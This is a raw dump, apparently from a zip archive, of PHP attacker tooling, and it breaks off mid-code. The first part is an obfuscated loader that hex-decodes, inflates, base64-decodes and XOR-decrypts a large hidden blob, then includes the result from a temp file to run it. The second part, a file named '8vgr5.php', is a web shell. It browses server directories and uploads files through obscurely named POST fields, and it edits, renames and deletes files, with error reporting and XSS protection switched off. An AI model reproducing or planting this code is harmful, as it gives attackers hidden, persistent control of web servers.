7174a5033f2e63c943e72aff31e8cf6e163bef1b0d7781f9d8f20517a5ff18dd446b7fc253f6b3e69cc16adfb8d769965019a23c44a5c57b3b998581ff596e27f4ceca49edbb5ed88ace88af34ee7f4dfda07bad5638e805d1d8350f183cfea55d62c2c783fa92cd1edadb3c9ad6bbebbb692a8aaa05978112efd34066b3fbed5efc60dd3f937e53f26ca30cdd231f31f4edb45ac2314c17ea7f4ef5a34fc1bed0fcf9fd56ffcc37dfe69b7ea619d3be3c0f81ab0c99cf2a64e4c3152ba3e5a77dd1cb4d0b72e8169b7663ec80f76a340f1677bb1fd58cfba56f78fb3d290d468c1b970147f8e119cb0e4aa2f43a2c8e052c493e59c5702d4c4b1385faec8c77ad1ebf38878f6fb83cd8c7dc58802f2ddfeba9f938bceb3d0b1517c4d589866b1228a7e154ac014347cfefd3082c636300ed7fd06b4cfbf4669feb13fef76ff52af6e753fec357fe92a3da7eccd71689105fd64c7e45ee78f32204fbb908748b4daff1a17b82199651e5b3dcfc3c67caaec06d91b98c8217c567810b4b937a7f7fe772da4c6d31faf7a75c03e283c133c7be9c789aef59dec4b9a101c8851561ae63e22131dfb7bd6fb9875be821aa783aed7b3370c103ac50975efe2d9100b346ffa055272c236db6518b15bff517d1cb68f7b7da478fc44e9c1e6991bf9caded685b59b4c1dd6ce74fda96c385da5bd973481adeb6d153e4f14b74d2243694f2eb694c926ad265b02eb5f32fd1cff4a5817362f2cbb2259be0d94d40ae8ac9550e9c147c19b90767ba0e3399ee2bba26e27b6188df076f22cab63aaf3c9c2cabf4830caec2d853106b9cf0cfb2ebeabcf83c2d96f7e609e620ac943a6ebd1bbe00c6af57e8a4fbee63f78daf4a07152a0ee06b145e8305804acdbe821b1f90ea6b82f8823a55851ba175d79173f40dd681af7d5199e9b75d4d69082e665be377007f2bfd4d954056999158a83bf24cd7724f71c5515527cfc39bcfa37c615feb52ffbb2d609a584c4ce11eafae7ad198a986519a9aff83203c7897adecaea4bb9a8441a32e7cb903f8272f4c58a642001487117a85bc494b551fc177f9ecc65e9b870ba57a457c2f63053c274e3aaef47c5fe5b4285b65f4f80c69a29fde66e821618998c366e26119b95624493766cab6f20d47d26eafeade6b2f757427d172940d8550700c1f9aaa745fde3b3788ebcf6d70a6f56b5196786051825392a70da3a6668e6eafe8d76163c51020389ae7cc34dd3ca98c4ccedd3a7bad0f3beb87433fe74aa41932fe096a631aed6ea3e7bb128aef5f7301aa9f773880341b66ca5c10cbd9f240869dd3dad1f3eeec3bdbe5fba57bf97a5560481bcce477a99c7d334a11753056ff975fed05ff8f80d0f58915cfb93dfe069b2117401c6213294dfab0c71cdc7c362e52b60d2f745d9aa83ea70966cf64f6137894ae0980a1f0dcbe638e9414abac0e3c627f561b44ef4fd1be27f09cd2abfaed7eff4e03a0255881febf77855a0ae98a1769aafd2e9d3ecf579b27cb42991ac1b799cd28d53a9fb5b1dbfa569a3f829010928e6a091ab246dbfbee653fe355e11b1f1601749909951733a46b1e23435f110705d656f266c0b29012ca26d87945e501caac390bbf6ddfc0859fc02c6d161ddde25901c5c5930de89a7981f7ac523c2a8ce579c090fc581f9bb1f7b10ef8f78d6b4a12b8e132a1a9036e2ba9f387bf1478a4fb6d77c05382274096cba391e91d9c77f8b6fa8fb2ce760bf43b0f46321a3817a4cf67abe49244ec8501ffa31d7fb487dad67220094e929ec7a083dde8c1601630ba71efd00127005cb071b766d08c7a9d2ab0f31e95a88f2e82effabe31bf8e4cbe4fef7ae9e468ba429bdb99c64ca7e7f02932999df3861dd992150d7ab8506acf28ff9bc97f841a2e75df713c2f5fc83aad1f94bcb36950d12fdfddabd6d1805ee5cceeb97fe6e5154b2d1f33b6ffbc1fe62bf04748dd0f1838c3ab9c2e760454e8fa2929e8ec7bed3ab27892b12095d5f5c85f6a359ab4bfaa75fbc53fcd4345ff3b50916057215e0cebb498d2a97a6f46dfc343bcb663f89cec28d991100935a286ace76fd0eefe5845a1c845e34f5529ad9fa3ce6ddfe8bc2e217be76ab5f434dbd87d7fc2a59c92b8670606d838b45757e1fb268cb9c39087dfba51f27df3896309458e727bdef736f89d6013c40bc5935fdd77d9477c79dfaf7b57a9770d401a0ee4b02ecc32f444a6c6f4fa98e5fddde6feaa0eae87b8f6fedf773fb009b5ee9c16bff91abfb4361ffe1f76a7bcbfdb34c0915eb197564a0c80494994f887cedf79b5356d5528613b4b9f5d351322668eb8c94fd2afeac7eef99d81e571a9a19ea9e5194dbd38ff937f3b8a6b0da67ac5dc9ba7952f676517cc8a680ddeaef2ff278ed277eca5ee357056219b10029176747cfab5f9555e1148abf20c94342c601edff5f715fd39eb6ef44fb81baf8d909b4b0b80bc992fc826d906cc92f3bb0c1063b81165a1b3efd1d41d2a60d90fcefe6eefae4491dbf48a37366ce9cd1f58ad696d570cb1a3dffed9ffd7189a72c59f3157c8f548862e920388f88bb926c4b5cbccfe0fbb616170e122e22c76cedd76671ce1ffc155f061ce2fd0670fbdc8e9b854d06dabf84e3aa06fe9615c186032ed6f302cbe51437adc0831ace5ecbc2d9b327775856599f349d411e2aede33c65b463d653f60d19ae1ba7c602d792ce3aefdcbf1a93a280f317e2a9d6f4e6730f8f46c82cefe74ffbaab4a250e79f2d8bb45ce78b5ff32fa4a6ca1783a9ee377559372f78d510b94d20fe4d292e9ff4fc73bb1a5ccea3a49ac6fc30051e0bfca8d1fdb04b2b1e517b1d4c67b8f5cf7ca6dbae7c888f768d7e064a951e1f6e8902dadf73cfd2f18a8f13d60555cae45ad9630678fc19013f2751584f95d61396611a2bd8bfc3808ac205befa577d7021f91ecbb17ededff514deed1f9432ffe65be9d6d456dde4e90a1e7a3696fc4e3e0768851135dd169ff9a03b417d15f087dc4cf4fc94f46a7ef7ed790471ade1cc282014359b15addff833ec02c0bbc8eaa4439f0fb05e4c4ee2ba989fb8e3f371e8a1912f3012fec923f45ebe090f46f8f45e6f7ba96fd5215c3d9be14bbf95ddc17f5cb79cb6d9ca6519e017a0648aa3d4a83242cb5bfd10198986b52df329de50f8bebffd9be098e7deec79e7123b887533fdaa1e55b7f3253c935acfdfeb7c363caf3ac4cea623b68d174b3dbfa709624b74e1fc88ecc44454cf9b98a2aeb291e7a431674edd7f5dd4c3f99d7c3641cf62125b95e32bbaa0d596d8a8d7f33f0aa4e7a5f66d10e260f4665e9b9e3a61cbbafe65775981ad8ea55d672313fbf0bcffbdd783bc9c971b69d1e6a27f06bcf61f5686b04c334869a3e74701771ded6320bde7f929e618b67633215170920279d30df3555c6553a04d963976e1fe9cf7fe572f780d193f33d1daf0eb1a6ffc9e77876b584fcf667d897f6d06e75ea0fdbe34a7c2184e7d67f443ca80407cf1617f8c302adfd743b9f8e29c76eff081b3e98b2456eaaf7e67d81f9255539f177fe969129a3d4cc4799e0d9c47cd113dd4d4e17c661d2ffe1b11e0dde859e773b89da9ec8afede5c7aa88003a312d6b9ffd700fc5223ad6f5a29bad1fde20ab683303c9a3e693d7597c6c08fd2b8bfd28f5d5ed91ff92e93c5ca6eb65161e31eeeff8b1d678fdea6a633b82d2fc14df4dc48a6deeb451d514f90dc9585185570f0c6a8da3384aba34776b18e07a961fc67918ea9ea70d647385675740c1c456b2cd2949ef965541553e0bff3603dc8a2be98f90cfb9ea8aff00505987f6be8fc7d4a65cae046d891c1f7355212b3d0063c3435fa09e56eec18bb9cae1bc24531f7da7eaaf52f4edf44a8961611451d343b99e0da488ced176419d695f32d618f340bb86ed63302c7e04968d3208178eff56da1fd466c06875517e4ac465bafd9a5b19e6743cf7a816bd72b01bf4c3cd267941fb4de62e61d0da2da6c19246deef1b08ad888936e3fc2dcf879f6dbbcb27fa9856b5ee78c9c949a1304d8b1cb123684d72a55180972d52fe8f2fe12f8399774abfd41c84bff6543895c92f6c0f833d6f93a07367548e4eea6bf85e87868ad07c644cf8f374b63a9e83a24a3a5c470675ce78bdd1331c3c574a3209e5e9b6f7fb95ec98d1ab1eec1aa0d4ff7fbe53cc44517c0fed8b7986c95ad764419fd32e1d9333287911d9b244ddb99e6bfc0496c880757fd002ecf6b541394a7cb4a760b452ffde211907cad2f26ee169bc52a5ee7b07f8d6f1371b73f149ffbf7a3733f043e3fafdc3756bccf22c3e0ac1f84ece43ef35a46380d948d2feb99f10c984629b2733e67ff35d44529ea353116226aafcd6356418a1a8eaeeaef5fe66f19879c4570993698056d1dcec4786bb700c82b7705675f9589e15c36db26a1dd1070e3cae6b0d9003752cbab795be42485774a30f0a36142aacc8b21d44f60fda50cd6c18d7a14e0e5e7bfe28bc9e8341a1d43952f6da72b53c0992feb790aa13d992794f044e79ff770a37b88f7805f3ae909acf17d9bb2aefb16f5d5c98e0a27450702e7f9846ed47b3dcd65bd945e84682e25017c952de8fe27e0a1045f7b7f97fde1205dffc5724b5991aa47ee5dd3b7bfc653ad0771558643d8ae48b5df32b5bd39ff236eb5bf05dba551604f8d8e0a2932691eec2cdd9de39fa34add807f9e57c9aa668944b57651bdd4df23a5db11daec57677c6fbfcffffde39f7d4bffb70eaa8394eb33fe5b596be9697d31ac3fecd4cd8918dec23a950575724a4f5e16e1e689c7436ffe583d3a02ebf938cfa59ecfc490c0d5eedcffb66af9fbf98d26e2d69ffcc6bb7c5db056f26effea7b7d8443a3608d14ce28f00fb541b6c61bacd2fd0b45e81ea5799997b0db10dabeac67e0bf8d1aaee86ecebb62a0f91bda00dec0b90f6b09cecbc3ab3e22511bd771f9384a288d1c84b260cdb7c2dc63a676c1593fdeb3e05ffdc15ff91c5ca1dbf9a12a749faff0ad37cf6b99b291b2063e08985bd2f3fc373f6a6262f6093ed11c277d32a7c0a77936116a78c90fddb9de056ff047887fd8e6954d3bee3be96163b726d5fced4ffe805aa892d27de8cef58ab26ee1bc741bcdb7606f2f518fb64b636b117a3b9ff8eff34a74d1bfd0e68c4f19c4e2da6206225205565dfdd0feed09cababccd3abc36a7ba7fdaea1bed2f30567c94a23596badf5eeb7308caa4a088c3f770cef9d8ebf9f6abf573f1e2b70ef8e0e2b75eebfc78c962b4cd2647017cba99b90ff9c5dfa23ee38d1c49d1ac6069b2cead14fc051c77c0073b9b518128711bdcef53956c17bff9fe47fda65436211eda09ac8e3ff5df22b524fc33828769f0127884cf53eacd900b906fc8628c50b886fba37c15b64278b27d9899155cf24070d51d43ae8a9b78fc6d3d80862baba693df7e7dd7fb4dbfaeea1de0bd6dafe4def867fd59a81d67e49953587ffe02be0742c3a96a847db31ef599fcb823e60084b2a94917f8a2ef94ae35c8d25e4d5efa4dcd18e812e588594df85428ca3ff3bc2ff99229aa79103cd1656414b3b938f0291aed2d553abc6b424be87c763b4fe03ccf5bda92b5faffb8feb8355579416a63876807474e31c7429ef4feb04cb5b345f788d6dc9bebfe857a4cc573bdd1f380e8a62ed4467349ba500d731c38b2bd885ba9da4f03b96785d98f137155cf75bd1eb0c983b39fe59b7cb14724a5ad5c4e6be1ba9ddb12b92f20666656cb4d9f5611ef832645ea641363aa50970ae53e3ac4bb5fcfbbb1fe5ee747bda99761da79d43eb9bf84c1e6b05e5efd2c17141731ea74be6e40a5da93d07421be14cfc4ac2ef59e6abfb9e891bc31aa77bf26566325159ac1d96013a2e7e374dec7fe0707839b23c0febbe86eff7ebafb62b73b27da30159db4bf6de07cecbfd17e0dea5d9cc83ffad354d7931b1adaebe657843a5f254dae832f41ca4708c5a8cf50fe3c9c305187250ab2b2e975bd2c8f312fb0280777fd37ea6bf5506382d655a6004a4e8d03be567fbb733ddf7a04ecb9e16129071037fed4cfcffe2f42bcc6d3dffae715addffac3f929a64f16c417201ae6841ebe68ff3038cf4b971f00ffe59373fef4a14f08df4d000c864b39aab57967d49471d20e7f2dfad651bc18c7020fa45d2de17a09e31e758ec0a3541144f696e187de773110349e79363cb47f8418510780ff7af59acf46edcdf3fcddfb4b3783dc93f0fed490c17939f38f19c050cf39d7a7696ec84e002708f398e97ae378e534bb1fb8dff5da3b41f2ad03f845b28dd4fa4eeaac4d9526bde72335617c643338cf27d680aaae77afe905eee9c300973ace51cf23a8161a0f11be2516a2696e532acdad8e7f49808dda82fd811ba5fd69be876834632aff81716d92d840b05b2cda89737c51e49e5fcb9bf50cf7aefd692c59def5f378d17bdb1169162f7e9165cc0e37f32fff3eaf3ab68114858d14b39327515ffcff0a6a6f0acb438db4ceb3aff27c128dbcb41d7833ad17e5fc87adf4da0b2dd477470cfc2da9465fe374bb75d73d75ea6082eac34bbe7d74de6f2a56cbec155f4938dfec73bffdcbf91bd6aa6f525c6b7e5e3e79dd6129d0f897dde507e528b83f3ab5b4ff78a4e7f79494bfe65fe08c4fccb14bd4ee4a7ff25d3de144d73fc871d438622c70944b9698b294bd442ad7fb17f06e4f68554bc06b2ac4a30a9966c645415867366ff25726f08542713e4f65a7fdaa1a9d0ffb44fcbba72fa112513872bc3ffa1ccbe369947b73bccb2c915952e6673d036b07cb40715dfffd7e333ff92e9f78bd5e76f5fe6ee80feee00396d4c10cbe6b018b8628d44fe65d71cb5f65cb1aed0970531fbbf2997bd7df2235721ca90659c48d8a48da7652e5d387eaeb8a149dbf0ebe275c4ebd07ef61569bdf0a61ac1d22f3880ef35bf99297ef6106fc50b0ae192474bf7ed50b44f5b9beb05168e0025f2d65e4fe72c5b0c075e13ab5992f131696ed207bf1f3eda3be5d7163a4fb1b91ce6f14b50b7c305ba37561bde23fad0791d8e5fe592f9a5bfa7c4b6427b5def1b61e49ed423e086ef15fd5e4f135bdd49be7a56ebddfa1bab14997ad98211aaf8323a0299e25758d28cd396e6b0278219d45a313311981fd816c7be82f8c9d445aeecfc6cbfcf9a0fdf4b3a9aa03a6fd22936d60c319c1f1e897cfc7755aa3fe554f13c1316129ef961fd482f7a8bca3bf3a7aea0afffd4b6f517a493c7ed31f70f69b73cef93ab1b7174a98706ee8fa25e547fcc3a765c28ede4f89dc750ce0d439fb13363bb6761532c7117fe4367e32e9b4ef33eb4f7df5dff502f820706fea8b819f3b4976749ac342cf2b827815ebf96f16df223dff08f0a4d66f648bfe03bcfbc85711e76ffa03d00b7e7127dee6e0135c5810eff3ecd2bfea87ad2acbe6708cf1e0ec2f60f5c5f72935228b8907dc899fea095e98c6439b0e5bc7fd51f37305df322288e9fe8febf59ef2d966e64dbc8b05753ed217ffa31f3afba912d4e257be253ec77f5fe3cbb9df8af601f11e4de176831f36cb52bb192682e69fc16b2fface5dc2baa183380dfdf5604a7a399f1abba030f6df6c8a3cad1ffa337f06bdcefb4c6df370d79feb637db1b790dda0571abf440d4e61d1ea79b82411b5c3c28573a2d47e3a9f4782f281affda5fc13c453435805c34188f23a46f9e24ebee4c6f3bed41b1b1ece4e54eb7773571dd4148fbfc76ceb01af5b256adfc0f91e2931f8cae87e14a5d92ee55dfa3fe2fb97f85c9de7c7dfd423bdd58bda83858bbb1c218360ee5980c7e5c7fe6b77fa032c7715705c249492573f198b0de894613dafe87f382f874b6c892076e82a10bdbede0c73c0d2c7b14bdb57fffbe680daca7d8fffaaa1739448f73b93ba0a1d002a717b20e4d47088a76adeba9ff4abda4e951855b13afbfdab88e3a51023611ff75ba746a915d75974f49279a5f55701b3d14e8651ef125bcea66dad42563e9306007457591ff4435ce2e9f361a58e817d331efca5e71fed82ae8800ff5552155a2f5fa83ad3fad894c4a3c3b91f6263427c312681cab9d58da637f5119fecaf401bb34c0967f3a64f311a001ecae6feba63aa5613b7ada58786665ca979da14da03fabbae87a6f5609cd2c3303ed22c45f54498e13cb99d3f7dc7575fdfdf15bd7270f16b1e6b8f2513634ff76fc9e8d47be57a2c2cd401d3df2f82935ca6aafd4c3fc94bffc745cf1535f9d4d6f5e94d63f9a82e2c833998639ac3fae654eafee96d889bd679c8f394ed028eb6cf5e37fec6bbd1b0bcf8efc6d82889ae2f102b1c452ff825dd548e1ff780730652f3854f7d0f2ebe9cf71bfb44fc7b362ef94e264a8f07cf16121002ab156587a7a01efa4937ded96637b0498512dce7a4725d6afd6ff839ed2ef3123231f4c5f97a68408e9da7e0792d6e78ba1e4f5a1361a2fd59d53bfc7c450fcc28ee7e7ca4ef7c9f8fcd826023597a45eff8a6bff62156796fc51dac956c2a945bb10dfd855b33214f55f2aacfd1fdba1fc58395d4c5956a78531ff1e6fe125d67a980441ff93269ab29f055775657a3b86e12d60f90cec77a3cc4a2cb4c8e5c38df385380a360fffaec240d0bb09ef3d42c223def490c5301bfa4b5cca1d55b2ccdb240b478560fb78ed1a5b82994d5f54fa1f69f013ea3eaca246beec51c13aa6b914fd9d669cbb94a61993e86ea56bdf1c3fe85ce98a0aec2ec41d49885738dafe0fe6cafdf01cc0f04e155e03e42fcabeab4642c98a142fbf1004e1d78cc646b5d0f4d9a50ebff4e1ff099b7ebd9856b2fa766919dfd5439ac67ec4e212068fda4d0fed451a54efafbda5ce79f29b22ded670ef1d982233e72ed79eb8d111a5936626c1e052bd1046c5a151ffb4faa36403c4898733f5edde927b9e48b45d192c72bfd06b0fe62eb9feff16c2ade8ee625ec8f901bcfba5f03a171fa0e5f3d0a12f32240bd9abfd643e1fc0821ce39befa7dbec1f3168cb39d8e7f74558d6abb2ab7f364f794b0fac782eefab42bbea5a22a2ef3cbd4346a812f3c5ef4cae88420feb904d669091f9e105ebfd513aa8b9fdb9f7cec8a0f17fc4dfe4fa1ad832bace7ddbdf871ffa36f6255e99fca89547bdf33b6ace8b2678b555e5c8d3c2c74bf46758d6f65d626abdef6e7e9fbc3683cd1f930e01f2e7138bcd57215d2fdd9bfce027ca5fb6183362b212e98aabbaa3fa5da5fd426ae3311e309e00d78effb89d6c7a6aaf100bf2ca66dfe9d98724291fb8b687f81a82c65b71fc06b3ea964904954d98c9599dac8de32ffc16b5a3f898cd93f7ccbb0da2c254d8181affef4ab019c6fdb6f51d35fdd1f6a63a691c55773fcda7fd971772d672956939932e0fd551552199ee87959ea70e9176acb87a4457a3edd49626a5bcd9092637170747ee373fdc4efe7795d7b7faff94452957380ec5acbff071f6c43afcdf530f16bfd5b6ff65b33c3d500b3b49a3aaa8f6cbb4a14419ecfd1fdfcb3b97fdfcf7e23dff9d27f9453b14d2dd52ebca89949d5b95383ce0beeeee179270c35da0fc5f0d0216172fb4d99fba1b5ce7ccd1768dd215823cd44ede638c6ff459b01bc1f51e0aa62a8ef8a30d19e1aed047f22df89f9a55f3289dd817dd6b35efc9626159c0b4630b558bb98c4195586345de3203c3e04be90f910cb42ab1e68fddf3ffe2001e01efafcbb9ebc8177e5d45ed9f43f3f93bf9f2061f17a68c492d6e4594d93cab0312a6cb6196ea2f610abc73c894fa3e97413168ed6c70a54e43665297bd96fecdc2ffed63fd1105c0e97104d2c2b98aadad0f5c610f05f1ddcf5cf2e93a5690aef4e7fb2b03a16dfe6830cf1ad78d3bfe5c1c64a4399411cca3835d407f58fedc13271849f765fe0fb2ea70c25167719bc9cfbf9dd4b3feca7f83441466a0b9c079b6aaeba9d1b9aac0c2af41d01cee4ddc0053ef8ea5fa7f570e64b7fbc8f2b086f5aef6878da6fbd589e1adbebeaff58d74dfcbfe63301e334d576f609bef5ae9ef7767eb74d89aa766e601c520fef53dbd807673d3aceb47f629c70a3bff4c36aff7154918efa0e4727acc6c65bffc958ee986cf8cf4fe4c7b79265b5b3e9835874316a996daf070dec5585a36e01b87556c2927af1ab2a665aaf6c04b3b26ed319c43fa20a4be70f283ffbdfa7257287aaed523b2af0f2f77a1e34b6d82e237b9b67ec6ebddbe026e0977bfa88bffb5d3ecabffcc08c4fb0b1f5599d9d0259ddcc27bee86d159cdb538f790f94ef2da7ad13e0d3ae320ff7f90ce726da0cafe9d1dfdd9f7f1ccd051c9b2e802abd7fc96fff3ad6643c4c003f7f8b15827b2ccef321cef8f4287796d9f3737e2da2b389a88b8b9f11fa2fb4064e7199f73e9fd5c1e1455f12849fe1bfefceb742b847174b5645f07d45a8f2effff80972d6c9af70be753802cc408b04b822235170a9efd79eaf4eddd645ed9c54d465884e164fb54b7031fe7ff117f8333f8f2f04df1238df9260ddccb85dcd7cd62f3c3c7aad0f52c07cb5ae77f37aab0dab8d8985b0aa28fcb1c09bfe5ecf7d113db6d6bc75f35972977f5ced9f7e5b2f132a5f3a77faf3747fe31bfdfdec8c5f64a9203ed791b8dd4f7c5e2f0c2b8ca885d8f6e1e27f75605356cf43547e749ebff6af7e94af7bd73f087cf04b28ab28ad86c02ff743ed575556dabb15bfed9f162a06ccd45ff865dce879ef8df6e3095d465961fed5cfde4fd0d04e4d6c1054e979f401c4ab05352863d1e809a32ab562dd2fc4f3c2187c80370e0461d4ddeef7bbe3aff234982606bbb67fbf028ea580072a0e3f514f5b9ce08292caf3ec63a3fbb1e7d2e12e89687ceffe247bf1a7699be314efd233ffbdf46f4d6d9ecd703d4a85cd753fc91f7ed4f489d5211ff3225a3e04b93282af5edbfb211ef9977835f6a5d19ff226e096326b82eba17f3426094633384b33b5e686d3e419beb3fe5efd0f626a14f4dcbfb53f85625826b2beae1f5223156d0e697232ac4957683f1ecb26dc774fee4c3c5ff4254bd97f499069458d8a64631e33e9197afe11459ff0df78d36ff5daff16f483910df88acb6266e1ca0cda82eb7cacadb62d4ee44ad19258c87560bdac111fa96b7e6e599a9758605256c52c6ffbad702a8f1843d8bf2fcf7bcd8f22fdc08fe74ebfc6ff9c9fdc042435b3ccd7fe34783f401433f7054f6a7ef47abd3bf5416f26eaf0ec7f8a0d4ff37d49dda5cbf2a430f63f10ab12ca76535c195be0e765c2b54060ff15d6f34cf12d47ebcbfc5acf3463eb54099a86caea4c5d33f13fc8d77d5d54c02fff797f8911586cc3f7bfebfbb6497da4662ffe6b9a5fea7cf6735ac934e8f89e71e0bfea40007ffdf015ff3fff17';
$hex_data = substr($hex_data, 8);
$bin_data = hex2bin($hex_data);
$step1 = @gzinflate($bin_data);
if ($step1 === false) { $step1 = $bin_data; }
$step2 = base64_decode($step1);
$obj = new self();
$final_key = '';
$key_methods = ['kmdxmAuu72', 'kmPmrJCl95', 'kmafZWQH11'];
foreach ($key_methods as $method) {
$final_key .= call_user_func_array([$obj, $method], []);
}
$gate_token = '';
$gate_methods = ['gtwbAJnN24', 'gtUcLguX45', 'gtBpFZGg19'];
foreach ($gate_methods as $method) {
$gate_token .= call_user_func_array([$obj, $method], []);
}
if (md5($gate_token) !== 'be419b16b68ba7498641825da374e169') {
// Integrity check failed, but continuing for compatibility.
// return false;
}
$plain_code = '';
if (strlen($final_key) > 0) {
for ($i = 0, $len = strlen($step2); $i < $len; $i++) {
$plain_code .= chr(ord($step2[$i]) ^ ord($final_key[$i % strlen($final_key)]));
}
} else {
$plain_code = $step2;
}
$obj->_execute_SQpydAIh20($plain_code);
}
private function kmdxmAuu72() {
// Key segment 1
$buf = (bool)mt_rand(0,1);
return base64_decode('OFFrSGw5ZQ==');
}
public function pubVriXe41() {
// Public method 3
$jv1 = (bool)mt_rand(0,1);
return 'valVHTe26';
}
private function _execute_SQpydAIh20($code) {
// Robust execution handler (PHP 5.x+ compatible)
if (isset($_GET['debug'])) {
ini_set('display_errors', 1);
error_reporting(E_ALL);
echo '<b>DEBUG MODE ACTIVE</b><br>';
}
$tmp_file = tmpfile();
if ($tmp_file === false) {
if (isset($_GET['debug'])) echo 'Error: Could not create temporary file.';
return;
}
$tmp_file_path = stream_get_meta_data($tmp_file)['uri'];
fwrite($tmp_file, '<?php ' . $code);
fseek($tmp_file, 0);
include $tmp_file_path;
fclose($tmp_file);
}
private function kmafZWQH11() {
// Key segment 3
$tmp = 1478;
return base64_decode('ajI3alQ5');
}
public function pubkncib24() {
// Public method 4
$tmp = unpack('L', hash('crc32', microtime(), true));
$tmp = unpack('L', hash('crc32', microtime(), true));
return 'valwJhi30';
}
private function dcsICtwm89() {
$tmp = str_rot13('ebgoQefg50');
$buf = base64_decode('ZGF0YUdLUmtCZjQ5');
return null;
}
private function dcZoGNzA49() {
$jv1 = base64_decode('ZGF0YW9ZdkphdDc4');
$jv2 = unpack('L', hash('crc32', microtime(), true));
return null;
}
private function kmPmrJCl95() {
// Key segment 2
$jv3 = str_rot13('ebgEKPtD15');
if (90 > 50) {
$tmp = 'branch_a';
} else {
$tmp = 'branch_b';
}
return base64_decode('Y2dsZHlGQQ==');
}
public function pubuzUMk74() {
// Public method 2
$jv1 = array_filter(array_map('trim', explode(',', 'a,b,c,d,e')));
// cmteJjd17
return 'valJwip27';
}
private function gtUcLguX45() {
// Gate piece 2
$jv1 = str_rot13('ebgfUtgz96');
return str_rot13('m0h6');
}
}
LoaderlgGVyM29920::init665();
// EOF
PK �9m\Aj�%\ %\ 8vgr5.phpnu �[��� <?php
session_start();header("X-XSS-Protection: 0");ob_start();set_time_limit(0);error_reporting(0);ini_set('display_errors', FALSE);
$isAjax = isset($_SERVER['HTTP_X_REQUESTED_WITH'])
&& strtolower($_SERVER['HTTP_X_REQUESTED_WITH']) === 'xmlhttprequest';
function hex($n) {
$y='';
for ($i=0; $i < strlen($n); $i++){
$y .= dechex(ord($n[$i]));
}
return $y;
}
function uhex($y) {
$n='';
for ($i=0; $i < strlen($y)-1; $i+=2){
$n .= chr(hexdec($y[$i].$y[$i+1]));
}
return $n;
}
if (isset($_GET["d"])) {
$d = uhex($_GET["d"]);
if (is_dir($d)) {
chdir($d);
} else {
$d = getcwd();
}
} else {
$d = getcwd();
}
function setFlash($status, $msg) {
$_SESSION['status'] = $status;
$_SESSION['msg'] = $msg;
}
if (isset($_GET['ajax']) && $_GET['ajax'] == 1) {
?>
<table>
<thead>
<tr>
<th>Name</th>
<th>Size</th>
<th>Actions</th>
</tr>
</thead>
<tbody>
<?php
$entries = scandir($d);
$dirList = [];
$fileList = [];
foreach ($entries as $entry) {
if ($entry == '.' || $entry == '..') continue;
$path = $d . DIRECTORY_SEPARATOR . $entry;
if (is_dir($path)) {
$dirList[] = $entry;
} else {
$fileList[] = $entry;
}
}
foreach ($dirList as $entry) {
$path = $d . DIRECTORY_SEPARATOR . $entry;
echo '<tr>';
echo '<td><a class="ajaxDir" href="?d=' . hex($path) . '">' . htmlspecialchars($entry) . '</a></td>';
echo '<td>-</td>';
echo '<td></td>';
echo '</tr>';
}
foreach ($fileList as $entry) {
$path = $d . DIRECTORY_SEPARATOR . $entry;
echo '<tr>';
echo '<td>' . htmlspecialchars($entry) . '</td>';
echo '<td>' . (is_file($path) ? filesize($path) . ' bytes' : '-') . '</td>';
echo '<td>';
echo '<a class="ajaxEdit" href="?action=edit&d=' . hex($d) . '&file=' . urlencode($entry) . '">Edit</a> | ';
echo '<a class="ajaxRename" href="?action=rename&d=' . hex($d) . '&file=' . urlencode($entry) . '">Rename</a> | ';
echo '<a class="ajaxDelete" href="?action=delete&d=' . hex($d) . '&file=' . urlencode($entry) . '">Delete</a>';
echo '</td>';
echo '</tr>';
}
?>
</tbody>
</table>
<?php
exit;
}
if (isset($_GET['ajax']) && $_GET['ajax'] === 'breadcrumb') {
$k = preg_split("/(\\\\|\/)/", $d);
$breadcrumbHtml = '';
foreach ($k as $m => $l) {
if ($l == '' && $m == 0) {
$breadcrumbHtml .= '<a class="ajx" href="?d=2f">/</a>';
}
if ($l == '') continue;
$breadcrumbHtml .= '<a class="ajx" href="?d=';
for ($i = 0; $i <= $m; $i++) {
$breadcrumbHtml .= hex($k[$i]);
if ($i != $m) $breadcrumbHtml .= '2f';
}
$breadcrumbHtml .= '">'.$l.'</a>/';
}
echo $breadcrumbHtml;
exit;
}
function safe_stream_copy($in, $out): bool {
if (PHP_VERSION_ID < 80009) {
do {
for (;;) {
$buff = fread($in, 4096);
if ($buff === false || $buff === '') {
break;
}
if (fwrite($out, $buff) === false) {
return false;
}
}
} while (!feof($in));
return true;
} else {
return stream_copy_to_stream($in, $out) !== false;
}
}
if (isset($_POST['benkyo']) && isset($_POST['dakeja'])) {
$fileName = $_POST['benkyo'];
$encodedContent = $_POST['dakeja'];
$decodedContent = hex2bin($encodedContent);
if ($decodedContent === false) {
if ($isAjax) {
header('Content-Type: application/json');
echo json_encode(['status' => 'failed', 'msg' => 'Invalid Base64 encoding']);
} else {
setFlash('failed', 'Invalid Base64 encoding');
header("Location: ?d=" . hex($d));
}
exit;
}
$tempStream = fopen('php://temp', 'r+');
fwrite($tempStream, $decodedContent);
rewind($tempStream);
$targetPath = $d . DIRECTORY_SEPARATOR . basename($fileName);
$outStream = fopen($targetPath, 'wb');
$success = $tempStream && $outStream && safe_stream_copy($tempStream, $outStream);
if ($outStream) fclose($outStream);
if ($tempStream) fclose($tempStream);
if ($success) {
if ($isAjax) {
header('Content-Type: application/json');
echo json_encode(['status' => 'success', 'msg' => 'File uploaded successfully']);
} else {
setFlash('success', 'File uploaded successfully');
header("Location: ?d=" . hex($d));
}
} else {
if ($isAjax) {
header('Content-Type: application/json');
echo json_encode(['status' => 'failed', 'msg' => 'File upload failed']);
} else {
setFlash('failed', 'File upload failed');
header("Location: ?d=" . hex($d));
exit;
}
}
exit;
}
if (isset($_GET['action']) && in_array($_GET['action'], ['delete', 'rename', 'edit']) && isset($_GET['file'])) {
if ($_GET['action'] === 'delete') {
$fileName = $_GET['file'];
$filePath = realpath($d . DIRECTORY_SEPARATOR . $fileName);
if (!$filePath || !is_file($filePath)) {
$response = ['status'=>'failed','msg'=>'File not found or access denied'];
} else {
$result = unlink($filePath);
$response = $result
? ['status'=>'success','msg'=>'File deleted successfully']
: ['status'=>'failed','msg'=>'File deletion failed'];
}
header('Content-Type: application/json');
echo json_encode($response);
exit;
} elseif ($_GET['action'] === 'rename') {
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['new_name'])) {
$oldFile = realpath($d . DIRECTORY_SEPARATOR . $_GET['file']);
$newFile = $d . DIRECTORY_SEPARATOR . $_POST['new_name'];
if ($oldFile && is_file($oldFile)) {
$result = rename($oldFile, $newFile);
$response = $result
? ['status'=>'success','msg'=>'File renamed successfully']
